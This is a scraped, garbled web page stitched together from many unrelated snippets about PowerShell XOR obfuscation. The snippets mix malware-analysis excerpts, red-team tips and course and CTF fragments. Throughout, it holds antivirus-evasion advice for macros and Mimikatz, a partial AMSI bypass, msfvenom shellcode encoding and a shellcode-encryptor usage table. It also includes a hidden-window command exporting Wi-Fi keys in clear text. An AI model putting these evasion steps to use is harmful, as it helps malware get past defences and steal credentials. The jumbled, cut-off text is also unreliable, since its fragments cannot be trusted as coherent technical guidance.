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Powershell xor obfuscation

powershell xor obfuscation xml” and copy it into the directory structure under customXML. They need to sit down with MS PS security team directly on this topic and stop taking hyperbole as blanket fact. 50727 of the. asm l1: imul eax,ecx inc ecx xor ecx,28F2372Ah imul ecx,dword ptr[global126] xor ecx,28F2372Ah cmp ecx,dword ptr[x]; on-stack variable jb l1 While it is certainly not obfuscated enough, and the idea behind the code can be still seen rather clearly, we have already managed to get our obfuscation code in. PNG”, including the contents of the ransom note, a list of processes and services to stop, and a What. with the key equal to 0x50 or 0x51) piece of meterpreter shellcode to execute. Does not contain the characters: e, o, r, 0, and 1 in any case. [ obfuscate "name of text file / script" ] Uses a polyalphabetic obfuscation method : on base64 strings writes obfuscated string : to file and provides a de-obfuscation key. Its small size and ease of implementation makes it a popular choice for malware developers wishing to hide their nasty bits of code from anti-malware detection. This is one of the reasons why it has received quite the notoriety in the marketplace of VPNs, because it also adopts an easy implementation technique. g. The script contains an array of URIs, and it tries each one until it successfully receives a valid response from the server. The malicious JScript has robust capabilities that include anti-sandbox functionality, anti-analysis (obfuscation), retrieval of infected system information, listing of running processes, execution of custom commands and PowerShell scripts, loading of EXEs and DLLs, taking screenshots, uninstalling and updating itself, and possibly the ability to exfiltrate passwords, although the latter requires an additional module from the command and control server (C&C). Running a series of PowerShell tools is interesting to facilitate this work: Meterpreter, Mimikatz, PowerView, PowerUp, Inveigh, etc. We can try the simplest “encryption” - apply ROT13 cipher to all bytes of embedded shellcode - so 0x41 becomes 0x54, 0xFF becomes 0x0C and so on. " character, so any arbitrary inbound querys are not confused for exfil. join( [chr(ord(x) ^ ord(y)) for (x,y) in zip(data, xor_key)]) Apply this function to both scripts to encode the data point-to-point. You can use it to apply the XOR encryption to your obfuscated section (whole section as a key). 1. Using this technique, we will get a Powershell Empire agent. PowerShell includes the original encrypted code for comparison. Recently, I started looking at an AutoIt sample that contained some heavy obfuscation. The result of such methods can produce, as you have seen, both easy to difficult code to hack. Lab 5: PowerShell without PowerShell. But, as “Version v2. $\endgroup Further, Beacon can be configured with a variety of in-memory obfuscation options to hide its payload. • Obfuscation of VBA code is critical • Put encryption in your code, even if it’s XOR • Make it polymorphic • Store the decryption key as a document variable, modify the encryption key upon execution, resave the document • Look for more novel ways of executing things > reg query "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell. It does this by using the Add-Type command in PowerShell to load some C# code. However, it employs rather straight-forward string obfuscation using the bitwise XOR operation. So to answer the original question: in modern cryptography XOR means addition, and addition is used every time we need to combine two blocks of binary data (which in many ciphers happens quite often). 1. The code obfuscation is very basic. These commands can be leveraged in Splunk queries by users or automation to decipher previously indexed communications. Assignments/Quizzes% % Assignments!will!be!given!throughout!the!class. If you want something to obfuscate your powershell code to make it unreadable but keep it working you should check a project called Invoke-Obfuscation ation done by Daniel Bohannan. While investigating the recent Magecart card skimming attacks, I came across a payload I was not familiar with. While in boolean algebra XOR is an eXclusive OR logic operation, in arithmetic context it's just an addition modulo 2. They are meant to add sandbox evasion capabilities to the distribution attempt by performing checks such as Maxmind, task counts, task names, and recent file counts. At this point, I tend to like to validate my template and macro by just double-clicking on the document and making sure that I get the ‘Enable Content’ button and that I get an agent when I click on it: An Example of Common String and Payload Obfuscation Techniques in Malware. However, there's a slight problem: the encryption/decryption key. His obfuscations are based on escape sequences and clever PowerShell programming to manipulate commands. This post is an analysis of the updated obfuscation used by TrickBot’s main module. October 2018 marks end of the second year since TrickBot’s appearance. Length]) |%{$_ -bxor 63} – blabb Oct 6 '15 at 21:33 In response, malware authors move to algorithmic obfuscation - such as a simple XOR encoding mechanism in the scripts they run. 001) PowerShell Script Base64 and hexadecimal encoding and XOR -encryption. AES layer before decompression; separate XOR layer using one byte key after decompression. Non-functional code to delay execution. A simple, intuitive web app for analysing and decoding data without having to deal with complex tools or programming languages. To obfuscate the ransomware further, all the command line arguments accepted by SunCrypt are also protected by a hash function. This new campaign specifically targets the Americas. Management. 9. If you’re a busy Windows administrator, and don’t have time to plow through huge books or search online, this is the ideal on-the-job tool. The obvious one is Base64 encoding, but other encoding techiques (gzip, XOR, etc), string techniques (escaping, format string, concat, etc. (Click to enlarge) Although these processes were being blocked by the Falcon sensor, the Falcon Complete team decoded multiple levels of obfuscation and encryption and confirmed that the PowerShell script was malicious. To decrypt the output, merely reapplying the XOR function with the key will remove the cipher. Under the hood, Powershell actually calls the AmsiScanBuffer function to ask Windows Defender whether the user-supplied code is malicious or not: Powershell is so heavily abused, it is starting to look predictable. After decoding the initial payload, a byte array is obtained. It makes it difficult to figure out how the malware works and leaves few prints. GetString($decodedBytes) One of the most common practices of hampering analysis is string obfuscation. Xor: May attempt to obfuscate specific strings (use option --deobf to deobfuscate) Suspicious: System: May run an executable file or a system command on a Mac (if combined with libc. Obfuscation is the default way to make malicious code unreadable, not only to the human researcher but also to the various antimalware products that can hardly afford themselves the downtime that’s entailed in real time deobfuscation to reveal a payload’s actual intent. However, in this particular example, the phishing landing was divided into four sections, all using different values to perform this type of encoding. dylib) Suspicious: exec: May run an executable file or a system: Suspicious: Hex Strings: Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all) This generates two files that are needed to run as well as the source code for the C# payload . We can achieve this by obfuscating the shellcode generated by msfvenom using two common techniques: XOR and AES. However, it employs rather straight-forward string obfuscation using the bitwise XOR operation. Obfuscation has been around as long as computer programs have, so the rise of obfuscated PowerShell scripts shouldn't be much of a surprise. Encoding]::Unicode. Further research into it lead me to discover that in December a researcher disclosed a remote command execution vulnerability in ThinkPHP, a Obfuscapk – A black-box obfuscation tool for Android apps. Attackers and researchers have developed multi-layer techniques obfuscation. exe with a long argument which is represented by the character codes of a PowerShell script. obfuscation, code encryption and evasion/anti-analysis techniques used to cluster payloads The PowerShell code was encrypted using XOR and 22 characters key. dat file. If you know of a better way to shared a saved password within PowerShell between different users and/or computers, please share via a comment to this blog article. The PowerShell batch file looks like this which uses powershell. Marshal]::Copy($Patch, 0, $Address, 6) How to open an elevated PowerShell Admin prompt in Windows 10 developer and it also comes with a unique obfuscation method and loader. ) So therefore we are going to be using XOR with multiple layers (though as @beli4l_ on twitter pointer out it is possible to get the original malware if you XOR the encrypted data with the XOR'd result of all the keys). It allows performing cross-obfuscation tests: training with one set of obfuscations and test performance with a disjoint set of obfuscations. powershell. PAYLOAD COMPRESSION : None. [CLICK IMAGES TO ENLARGE] Figure 1: PowerShell script with the malicious payload encoded in Base64. microsoft. As shown in Figure 2, an XOR call is used with the key “0xA9” in order to obtain the next stage. All interesting strings are XOR-encoded and decoded on the fly with the help of the following function: Additionally, there are a few obfuscation techniques that can be used with simple Linux fu to help generate this "custom" version of Mimikatz to help bypass AV. RC4, DES, BlowFish, AES) We should know when to use them and how. com I have been spending a lot of time reviewing PowerShell based attacks and malware over the last few months and I wanted to take some time to really understand how some of the common obfuscation techniques really work under the hood. PoweShell Loader script obfuscation Jumping to the analysis, the sample md5 c171bcd34151cbcd48edbce13796e0ed is a PowerShell loader containing the heavy obfuscation mentioned above and contains an The powershell is obfuscated and it can be de-obfuscated with the algorithm in Figure 11. In a recent post, we talked a little bit about detecting obfuscated PowerShell through the use of PowerShell's tokenizer - tackling, as an example, the highly irregular variable names generated by MetaSploit's PowerShell encoder. If you are a threat hunter, you will be well familiar with PowerShell and common obfuscation techniques. One can write their on PS host to run PS code. It mimics perfectly an example of a malicious document that we analyze in the FOR610 training[ 2 ]. Text. Again, this is all randomized, including the XOR key, but seeing the static file name value this deep into the sample was a key indicator that this was likely generated from a tool and not manually crafted at scale. section . Using Samples 1-3 from the early exercise attempt to obfuscate them so that they will run Sample 3 can be difficult to figure out what is causing the issue Save your modified versions as a different name. The ransomware is using the current COVID-19 crisis to deploy phishing campaigns that prey on individuals interested in learning more about the virus, including healthcare facility staff. An executable binary for the C# payload and a batch file for the PowerShell payload with the corresponding Metasploit resource file. The Anti-Malware Scan Interface (AMSI) interface in Windows 10, which is supported out-of-the-box by Windows Defender and available to other antimalware products, can perform deep scans on obfuscated PowerShell code. But largely due to the efforts from Microsoft to implement defence capabilities such as AMSI and Script Logging into PowerShell (v5) , those happy PowerShell days for red teamers are over. Some example of this kind of behavior were detected and blocked on our customers’ networks as early as August 2020. We should know which ones we can decode, decrypt or which ones we can only attempt to crack. Does not contain the characters: 2 or 7. This variant of SunCrypt ransomware also use some well-known techniques, such as XOR encryption on stack and custom hash functions, to hide strings. obfuscate-base64 “(action:hide or clear ), (key: obfuscation or de-ofuscation), (base64-string)” The function that contains the obfuscation engine, it works only with clear base64 data. 509 parsing, changing character encodings, and much more. In one interesting example of obfuscation which has recently come under the radar, Cylance found that a Microsoft Windows tool called PowerShell is being abused by attackers. e. tmp is a PowerShell script filled with multiple unnecessary exclamation marks, most likely to further obfuscate itself. This command specifies to use Ordnance (-t Ordnance) and generates a reverse http payload which connects back to the ip 192. Chimera - PowerShell Obfuscation Script Designed T DockerENT - The Only Open-Source Tool To Analyze V Cyber Threat Intelligence: A Product Without a Pro Rampant Kitten - An Iranian Espionage Campaign; Maze attackers adopt Ragnar Locker virtual machine Some-Tools - Install And Keep Up To Date Some Pent ; 1 = Simple XOR (No security, just obfuscation, but very fast); 2 = DES; 3 = 3DES (Triple DES); 4 = CAST-128; 6 = xTEA; 8 = BLOWFISH; 9 = TWOFISH; 11 = RC2; 14 = RIJNDAEL-128 (AES); 20 = SERPENT;encryption_method=14;;# ENCRYPTION PASSWORD; This is the password/passphrase that should be used to encrypt the sent packets. This script is able to handle similar functionality in this stealer DLL: The script is heavily obfuscated, contained in a file that is over 5MB in size. The malware contains an encrypted chunk of data, prefaced with “. Lecture 26: Obfuscation 15411: Compiler Design Robbie Harwood and Maxime Serrano 21 November 2013 1 Introduction We have previously (lecture 20) considered the problem of doing compilation \backwards" (i. With this logic, a string of text can be encrypted by applying the bitwise XOR operator to every character using a given key. DarkFinger C2 expects exfil data to prefixed with the dot ". If your target uses Windows Defender, you will need to pick a different tool or perform obfuscation until you can get a working macro. Lab 5: PowerShell without PowerShell. TrickBot has been present in the threat landscape from quite a while. PowerShell script block logging helps with the postmortem analysis of events to give additional insights if a breach occurs. Obfuscating SQL Injection queries aids in bypassing Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS). See full list on docs. " character, so any arbitrary inbound querys are not confused for exfil. In this blog, Anatoly Kazantsev, a specialist threat researcher at Avira Protection Labs, takes a deep dive into the recently found TA505 APT samples and analyzes the infection cycle. HiddeN, which means that it will set the window style for this session to hidden. com See full list on varonis. Figure 3: The macro command decryption function. Although, I had to sink some time researching how to do function obfuscation in visual c++ (for visual studio). LZMA. Currently the tool supports 2 encryption. AES-CFB8 security relies on the IV to be chosen randomly. And when Powershell does this, it bases its key on the user context the script runs under. 0 Engine is technically available. A PowerShell profile is a script that runs when PowerShell starts. exe" 1 file 0 forks This syllabus is subject to changes and revisions throughout the course. Bu özellik sadece Windows sistemleri değil Linux ve Mac OS X işletim sistemlerini de kapsar. Low-Hanging Fruit: Office Documents FinalRecon is a fast and simple python script for web reconnaissance. and XOR’ed PowerShell payload to cmd. exe" 1 file 0 forks The file jurhtcbvj. This parameter is widely used to prevent the PowerShell from displaying a window when it executes a script. Each byte only influences the one next to it. The following basic example of data exfiltration relies on PowerShell. visualDecrypt combined with XOR using long key. To confirm, we can use CyberChef : As you can see, the “This program cannot be run in DOS mode” string appears after decoding, confirming our theory. Lab 4: Shellcode Obfuscation. Either I define it myself - and in consequence, need to write it into my script in plain text again, thus achieving nothing - or I let Powershell define it for me. globl _start _start: nop xor %r10, %r10 xor %r11, %r11 xor %r12, %r12 xor %r13, %r13 xor %r14, %r14 xor %r15, %r15 shr $8, %r10 shl $8, %r10 shr $8, %r11 shl $8, %r11 shr $8, %r12 shl $8, %r12 shr $8, %r13 shl $8, %r13 shr $8, %r14 shl $8, %r14 shr $8, %r15 shl $8, %r15 Bohannon’s Invoke-obfuscation). exe to run PS code. e. So instead of going down the AES/RSA route with our encryption (kinda pointless as we want obfuscation though encryption. The decode function does not do any validation of it’s input, it just assumes that it will be fed a valid hex string. exe Since the XOR operation is commonly used as an encryption/obfuscation technique in many applications, I found having a utility that XOR'ed a repeating (or non-repeating) key to a chunk of data was useful enough to warrant a dedicated tool. to obfuscate it if you want, but for this simple case, I’ll just use the raw string, then dump it to an XML file named “item2. Advanced data obfuscation by encoding or encryption. For instance, see our blog post about decrypting and cracking Cisco passwords. Assembly. o Unique build and obfuscation process PowerShell (T1059. We decided to publish our project as a PowerShell Empire module to make it easier to use in pentests. The JavaScript file launches a PowerShell command to remove the exclamation marks and execute the PowerShell script. . It is one of the most simple and effective tool in my forensics-toolbox. Same as '--obfuscate-form --obfuscate-names --obfuscate-strings'--obfuscate-form: Modify readability by removing all spaces and comments in the VBA--obfuscate-strings: Randomly split strings and encode them--obfuscate-names: Change functions, variables, and constants names-g, --generate=OUTPUT_FILE_PATH: Generates a file. Part of the PowerShell command after the base64 decoding looks like this: Figure 4: Part of the PowerShell code designed to run shellcode. The command then further specifies that an xor encoder should be applied (-e xor) and the bad characters \x13\x98 should be avoided (-b \\x13\\x98). The provided proof of concept code reads contents of a file from the local system, encrypts it with a variation of Advanced Encryption Standard (AES) and sends it to the attacker’s server via HTTP over the port 80. InteropServices. This one is not really a PowerShell interpreter. Figure 4: An example of an algorithmic obfuscation script At this point, we’re generally past what antivirus engines will emulate or detect, so we won’t necessarily detect what this script is actually doing. Malware uses PowerShell mostly to download payload from CC and execute it. There's the simple substitution cypher, or you might perform a mathematical operation on each character (an XOR, for instance) where the result feeds into the next character's operation, etc. NET assemblies, String obfuscation is most often implemented by passing a series of nonsensical arguments to a deobfuscation method which then returns the deobfuscated string to a method. Lately, I’ve been seeing a new type of PowerShell-based attack that has an interesting twist on the standard Base64 Encoded PowerShell attack. The evasion for file signatures has been achieved using Reflection on a precompiled dll in charge of runtime compiling c# code. exe. Evasion The downloaded PowerShell script is first base64-decoded and decrypted using the cmdlet ConvertTo-SecureString. xor_executable_lua – Improved detection with more xor'd executables by adding detection xor'd MZ header. For those new to forensic analysis, malware often uses XOR to obfuscate malicious functionality. 21) on port 1235 (–port 1235). . S, WinCE/Sejweek, Sym-bOS/ShadowSrv XOR encryption General techniques Hands On: SymbOS/Yxes XOR encryption in Java and Android malware DES and AES Conclusion RSA Conference Europe 2011 - A. by Resheph. If you xor all the bytes of your data together into a single "key" byte, then proceed to add the key to each byte in succession (and xor the output byte back into the "key"), then this technique will produce better statistically random looking data. exe: A PowerShell one-liner downloads and executes a PowerShell payload from the C&C This operation is sometimes called modulus 2 addition (or subtraction, which is identical). It operates by In May, their method of attack evolved to push encoded Unicode strings onto the stack then XOR those values against a single byte key and subtract one from that value. After I ran the compiled binary through Exe2Aut, I was able to review the underlying script and I saw a lot of this stuff: Starting with this small snippet of code: The XOR operation is probably the most commonly used method of obfuscation. Posh-SecMod has some examples of script compression through the Compress-PostScript and New-PostDownloadExecuteScript functions. Binary Obfuscation mov esi, 0x0 mov edx,0x12340000 mov esi,0x1 dec esi mov edx,0x12347891 xor dx, dx •Centralized command line and PowerShell block logging Windows PowerShell v5. $C. > reg query "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell. – Commercial obfuscation • CrunchCode • Multi-stage – VBScript, batch files, PowerShell • Payloads directly downloaded and executed – Spray and pray spear phishing – No attempt at obscuring comms • GET stage2. $\begingroup$ The biggest problem is that your technique does not provide diffusion. Carrie Roberts // * Would you like to run Mimikatz without Anti-Virus (AV) detecting it? Recently I attempted running the PowerShell script “Invoke-Mimikatz” from PowerSploit on my machine but it was flagged by Windows Defender as malicious when saving the file to disk. exe and look like this: Obfuscation (e. exe PowerShell v3 ile Remoting özelliği yenilenmiş ve daha da geliştirilmiştir. Usage Description ----- ----- /f Specify the format of the shellcode base64 hex c raw /enc Specify the encryption type (aes or xor) in which the shellcode will be encrypted /key Specify the key that will be used to encrypt the shellcode (default = SuperStrongKey) /path Specify the path of the file that contains the shellcode /url Specify the url where the shellcode is I was thinking in terms of making the script hard to decipher. Apvrille 16/44 opT Bottom Next section Lab 4 : Shellcode Obfuscation. LONG DESCRIPTION. 0 aimed to remedy this by targeting PSToken based obfuscation only where it needed to be used, rather than using it on the entire script. The malicious payload is downloaded from a remote site as a PowerShell byte array, along with a few lines of code to deobfuscate the array through a XOR operation. Even when I ran this file without writing it to disk using the […] 34C3ctf2017 35C3 36c3 3DS2017 InCTF2018 LTE Misc ROP RSA TAMUctf X-Forwarded-For aero2020 aes asis2017 asisfinals2019 assembly autopsy backdoorctf backdoorctf2019 base64 bgb binwalk blackbox blindSignatures blindSqli blindsqli bmp boot_sector bruteforce bsidesSF byte2byte bytebybyte c++ ccc2019ctf cgi circuits comments compiled cookies cpa The script was likely obfuscated by the ISESteroids PowerShell extension, which provides a built-in obfuscation feature. Or you can compile your own version and add some obfuscation, if needed. com This is a hands on tutorial for malicious powershell deobfuscation using CyberChef. Command Line Usage. The initial PowerShell script base64 decodes to an additional layer of obfuscation that leveraged GZIP and base64. Related tags: web pwn crypto stego rop sqli forensics python xor rsa reverse engineering engineering security misc steganography nothing bash format-string network linux recon mysql miscellaneous rev bsd kernel race volatility stegno binaryexploitation powershell ssti solidity ethereum cryptography-rsa golang owasp sqlite docker angr grep uaf Figure 6: Obfuscated code intended to launch a PowerShell script. We wrote about its first version in October 2016. 4 Investigation and Alerting – PowerShell obfuscation. See full list on cobbr. Automation. Some basic obfuscation could get around this. You can add commands, aliases, functions, variables, snap The malicious payload is downloaded from a remote site as a PowerShell byte array, along with a few lines of code to deobfuscate the array through an XOR operation. There are a variety of ways you can obfuscate strings. In the following simple C code, you can trace through sample XORing de-obfuscation of an ASCII string with a single static key and a dynamic key. text:00415DBE 40 inc eax . The security researchers noticed that the macros used in this campaign are similar to those used in a campaign delivering the Ursnif banking Trojan . Net is the engine. Here is how the DNS exfiltration with encryption looks in Wireshark: Writing a PowerShell Empire module. See full list on welivesecurity. , etc. Possibly the authors decided to celebrate the anniversary by a makeover of some significant elements of the core. g. Token obfuscation (TOKEN\ALL\1) is almost always the first option that I apply to any command or script. \encrypted. PowerShell açık kaynak olduktan sonra ilgili işletim sistemlerine de kullanılabilir olmuştur. Network Indicators: The new variant uses two PowerShell scripts for execution and a new obfuscation method for exfiltration of Card Holder Data (CHD). This can be changed to whatever or even expanded upon to use XOR obfuscation methods etc as this is just for basic PoC. Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science Daniel Bohannon @danielhbohannon | Lee Holmes @Lee_Holmes Revoke-Obfuscation is the result of industry research collaboration between Daniel Bohannon - Senior Applied Security Researcher at Mandiant / FireEye, and Lee Holmes – Lead Security Architect of Azure See full list on shellvoide. To do so the method should obfuscate the padding characters (='s) such that they become some other symbol and are more dispersed. The DLL is small and only used to download the next stage. The obfuscation implemented in SharPyShell aim to evade both file signatures and network signatures ids. Why obfuscation and weaponization (PowerShell) • Technology. I’d highly recommend checking out Daniel Saturday, 22 October 2016. 0 summarizes the command shell and scripting language, and provides a concise reference to the many tasks that make PowerShell so useful. It is a tool which allows you to run PowerShell commands without using powershell. The attackers typically distribute Netwalker ransomware with the use of a reflective PowerShell loader script that has been protected from casual analysis with several layers of obfuscation. MD5, SHA1, SHA256, SHA512) Encryption (e. Even though I had never written any PowerShell scripts In late September 2020, researchers at Avira Protection Labs identified a Powershell script originating from the TA505 APT group. However, rather than analyzing our data Obfuscation using XOR operations is a technique used to "scramble" the data to make it hard to decipher without knowing the correct "XOR key. Shellcode obfuscation. Once deobfuscated, we can see the functionality of the PowerShell loader. Posts about Powershell written by hazmalware. ), downloading & executing in memory are just a few other ways that might help XOR encryption using a key stored in sections in the macro The sandbox detection and evasion is fairly basic, but effective in many cases. 1. dat -Encoding byte)[0x80. 0 feed. This is code that has been encoded specifically for the purposes of avoiding detection. When you connect to a server that uses XOR Obfuscation, the OpenVPN-encrypted data with the XOR ciphers make it harder for DPIs and systems like “The Great Firewall” to identity. [ de-obfuscate "(name of text file / script), (key)" ] Performs the inverse of the obfuscation function : requires the text file with the obfuscated A simple script, written in Powershell, that perform a logical exclusion, XOR, on two files and saves the result in the destination file. NET framework and C#. For example, the obfuscate-and-sleep option attempts to mask portions of the Beacon payload between callbacks to specifically evade signature-based memory scans. Lab 5 : PowerShell without PowerShell. Like the Obfsproxy method described above, XOR obfuscation hides the OpenVPN’s protocol tell-tale signatures so that it’s unrecognizable by deep packet inspection. One stream is the message and the other is a secret stream shared by both parties. text:00415DB8 30 14 0F xor [edi+ecx], dl . obf. Obfuscation is the process of transforming input source code into a protected version to prevent cracking and reverse engineering analysis. 0 introduced a logging engine that automatically decrypts code that has been obfuscated with methods such as XOR, Base64 and ROT13. 0. SHARPSTATS has used base64 encoding and XOR to obfuscate PowerShell scripts. Obfuscation Options: --ipfuscate Obfuscate IP address. So malware authors move to algorithm based obfuscation such as XOR: $key = 0x64 $encodedMalware = "M2QWZA1kEGQBZElkLGQLZBdkEGREZEZkKWQFZAhkE2QFZBZkAWRFZEZk"; $bytes = [Convert]::FromBase64String($encodedMalware) $decodedBytes = foreach ($byte in $bytes) {$byte -bxor $key} $decodedMalware = [System. exe is jsut the host, . --obfuscate-small Obfuscated command will be as small as possible. You can xor the string, zip, then xor the strings, etc. Obfuscation Polymorphism Please read the basics on Bash/CMD/PowerShell scripting @ hide-three-methods-of-xor-obfuscation/ Assignment 2 due Base64 encoding is often used to obfuscate plaintext, I am wondering if there are any quick/easy ways of obfuscating a base 64 string, so that it is not easily recognizeable as such. Staging Options: --stager STAGER Use staging for shells --http-port HTTP_PORT HTTP staging port to be used PowerShell options: --powershell-x86 Use powershell 32 -bit executable. Runtime. ‘Plain’ AMSI bypass: [Ref] . Now, all the Naive methods regard the obfuscation of the code in a simple and direct way: just encrypt it. This can be an indication that Beacon is using a simple one-byte XOR obfuscation. It was an easy, elegant and clean way to evade anti-malware solutions. When you encode to hex and decode on the fly it's fairly trivial to intercept this process and see the real content. Screenshot module About 2 years ago when I entered the red teaming field, PowerShell was huge. exe -command "Write-Output [Convert]::FromBase64String('SGVsbG8gV29ybGQh')" This is kind of where Powershell sells you out. exe HTTP/1. NetWalker has become one of the most popular ransomware families in 2020, targeting companies of all sizes and more recently favoring educational and healthcare institutions. The result is an obfuscated PowerShell script with several layers of obfuscation, a result of applying the Invoke-Obfuscation method to the initial code. EXPORT NAMES DBC2 also performs obfuscation of the stages and the modules by the use of XOR encryption, which is dumb encryption but is enough to simply obfuscate some well known and publically available piece of codes. Or you can compile your own version and add some obfuscation, if needed. We discovered the polymoprhic threat Dexphot in October 2018. That said, even though XOR Scramble can work well, due to its relative simplicity, it is not quite as effective as Obfsproxy. Obfuscapk is a modular Python tool for obfuscating Android apps without needing their source code, since apktool is used to decompile the original apk file and to build a new application, after applying some obfuscation techniques on the decompiled smali code, resources and manifest. We have not observed this specific cipher in use by other ransomware variants. , extracting a reasonable approximation of the original source from its compiled code). According to Microsoft, AMSI stands for Anti-Malware Scan Interface, and allows for programs (like powershell) to submit content to a scanning engine prior to execution. This one is not really a PowerShell interpreter. ShimRat : ShimRat has been delivered as a package that includes compressed DLL and shellcode payloads within a . You can use the profile as a logon script to customize the environment. # xor encoder / decoder. It tries to repeatedly access the URLs and, if the size of the binary is as expected, the Emotet binary is downloaded to the %TEMP% folder. spotted by Visa to use an XOR cipher to obfuscate the We can now de-obfuscate both strings and API calls to create a readable sample of Dridex. See full list on github. Some of the key obfuscation techniques used are: Registry keys can be protected on access using this trick or the one described here to prevent regedit from displaying and deleting the keys, and their content is usually hidden under several layers of encryption and obfuscation like Base64, XOR etc. Random Byte Generated and Used to XOR Scripts in Each Build; Here the usage details: Once Remote Code Execution on a computer has been achieved, it’s important to get a satisfactory post-exploitation. May download files from the Internet using PowerShell: Suspicious: DownloadFile: May download files from the Internet using PowerShell: Suspicious: Chr: May attempt to obfuscate specific strings (use option --deobf to deobfuscate) Suspicious: Xor: May attempt to obfuscate specific strings (use option --deobf to deobfuscate) Suspicious: RegRead XOR encryption is a means of combining two binary streams to create one new stream that contains hidden information which cannot be retrieved without the other stream that was used to create it. The final payload is highly obfuscated with junk instructions and a lot of jump and call obfuscation is used. 1: 1: Assembly - XOR & NOT decoder stub example HTA Application for A new ransomware variant known as Zeppelin has been spotted in the wild by Blackberry Cylance researchers; the hackers are launching carefully chosen cyberattacks against health and tech companies. In order to be considered an obfuscated program, it must meet at least two of the following requirements: Does not contain the characters: h, l, w and d in any case. We will need to consider this option when developing signatures, but it is still easy to signature Beacon even with these advanced stealth features. An attacker can use this encoding method in order to obfuscate data from counter-measures seeking certain commands or signatures. SHOTPUT Powershell and Obfuscation Attackers often use various obfuscation techniques to hide most of the command and slow down analyst investigation. Unfortunately, in Netlogon RPC, IV is defined to be 0, as part of the ComputeNetlogonCredential check. In this video, Mike Chapple explores the details of cryptographic math, including the XOR operation and the concepts of confusion, diffusion, and obfuscation. The JavaScript file launches a PowerShell command to remove the exclamation marks and execute the PowerShell script. In the latest samples Cylance analyzed the XOR keys 0x45 and 0x25 were used to encode C2 domains. Post a rapid triage and attribution, our responder concluded that this is a PowerShell stager with encoded and XOR encrypted shellcode related to Cobalt Strike. text . PowerShell obfuscation If you are a threat hunter, you will be well familiar with PowerShell and common obfuscation techniques. 2 Answers2. exe. Describes the operators that connect statements in PowerShell. Lastly, there is another technique to help obfuscate the actual powershell command that calls the download to run the exploit. Figure 9: Multibyte XOR encoding. He spent a year exploring all kinds of PowerShell command line obfuscation techniques — and he’s got the beard to prove it! —to make it almost impossible to scan for obvious keywords. ShimRatReporter : ShimRatReporter encrypted gathered information with a combination of shifting and XOR using a static key. The string obfuscation is likewise similar to Sekhmet and even the keys for decrypting the same strings are the identical. It was created by Ben Ten in 2015. Next we see a function that takes in a bunch of numbers. We anticipated the need to run custom powershell payloads, so we'd have to bypass a recent Windows protection called AMSI. The program is designed to obfuscate the shellcode. You can follow any responses to this entry through the RSS 2. net ~/code/encoder/fids]$ cat useless. Over time, attackers have also realized the malicious potential of PowerShell, widening the number of executables used as LoLBins. The dataset can be used to examine the robustness of malware VM detection techniques against evasion techniques such as code obfuscation, data, and code encryption. µ INTRODUCTION Extending the Qakbot research (see Part 1); this new blog post will dig into the details of the strings obfuscation, the RC4 encryption, the SHA-1 validation and the data compression algorithm implemented by threat actors in the second stage of this Trojan. In this attack, it adds an additional level of obfuscation by Base64 Encoding a PowerShell script in a Gzip file: Here is the complete command line for the malware payload. You don't need powershell. byte-encode “binary-to-obfuscate” “key” We can achieve this by obfuscating the shellcode generated by msfvenom using two common techniques: XOR and AES. And then, we need to concatenate the two four bit-segments to get the byte equivalent: Hexadecimal: 2d 2 = 0010 (base 2 ) d = 1101 (base 2 ) Therefore: 2d = 0010 1101 (base 2) = 45. We will reuse the unobfuscatedsamples latter Close/Open Powershell ISE between samples 51 Obfuscate the Samples Obfuscation Techniques A simple rolling XOR-based obfuscation technique is used to hide some of the strings in the malware. Technical Analysis Cylance came across the malware file under analysis, which uses a rare PowerShell obfuscation method, while looking into some fresh and poorly detected PSToken based obfuscation adds lots of special characters and employs strange PowerShell syntax not often seen in the wild. exe binary included in the project already which you can use right away . If you're writing assembler code and you want to protect your work from decompilation and reverse engineering, or just want to make it as hard as possible to analyze, you might want to try Obfuscator . SolarMarker PowerShell obfuscation. xor. dll, and VirtualAlloc. DarkFinger C2 expects exfil data to prefixed with the dot ". Revoke-Obfuscation > PowerShell Obfuscation Detection Using Science Daniel Bohannon - @danielhbohannon Lee Holmes - @Lee_Holmes 0. Both domain names for the malware are stored in this way. This is easy to decipher since you just need to apply ROT13 a second time on the ciphered data. -o, --obfuscate. They provided the Windows Event Log (. io The first one is the obfuscation technique used by the attackers. We commonly see XOR operations used to great effect for obfuscation of threats such as Cobalt Strike beacons. The Invoke-Obfuscation module is often used to create polymorphic obfuscated variants, which will not be detected by antivirus programs and other defensive mechanisms. I changed the original code of: Add-Type $Win32 $LoadLibrary = [Win32]::LoadLibrary("am" + "si. As always, it is important to provide details and resources to aid the community in protection and detection of emerging threats. The obfuscation that Citrix uses is shown to be relatively simple – just using an initial key and then some simple XOR stuff. In. exe binary included in the project already which you can use right away . Obfuscate, or even better, eliminate the need for an AMSI bypass altogether by altering your scripts to beat signature-based detection. Obfuscator - The Program Is Designed To Obfuscate The Shellcode. exe binary by leveraging the . A tool like Didier Steven’s XORSeach can scan any file, looking for strings encoded using XOR method: you need to know the clear-text version of the string you’d like XORSearch to locate. In the months that followed, we closely tracked the threat as attackers upgraded the malware, targeted new processes, and worked around defensive measures. For the network signatures evasion, a fully encrypted channel has been developed for sending commands and receiving outputs. exe. Used simple XOR encryption Invoke-Obfuscation String Obfuscate Powershell code as a string Breaks up the code with reversing techniques and concatenation 51. Let’s take it to the next level by encrypting data with a key that is not hardcoded anywhere in the binary. com Invoke-Obfuscation; For the purposes of the test let’s borrow the following commands: powershell netsh wlan export profile key=clear; powershell -WindowStyle Hidden Decoding AutoIT XOR Encryption Obfuscation March 15, 2020. 21 (–ip 192. We noticed that Egregor obfuscation is very similar to the obfuscation used in another ransomware - Sekhmet). The PowerShell script holds a base64 encoded blob and a XOR key that is similar to the previously mentioned PowerShell scripts. !!The!material!covered!will!be!first!discussed!in! Xor the chunk of 4 bytes obfuscated shellcode with the key stored in EBX Loop until everything is deobfuscated 1e: b9 XX XX XX XX mov ecx,0xXXXXXXXX 21: 01 d0 add eax,edx 23: 31 18 xor DWORD PTR [eax],ebx 25: e2 fa loop 21 DOS Obfuscation Part 3. global. 34C3ctf2017 35C3 36c3 3DS2017 InCTF2018 LTE Misc ROP RSA TAMUctf X-Forwarded-For aero2020 aes 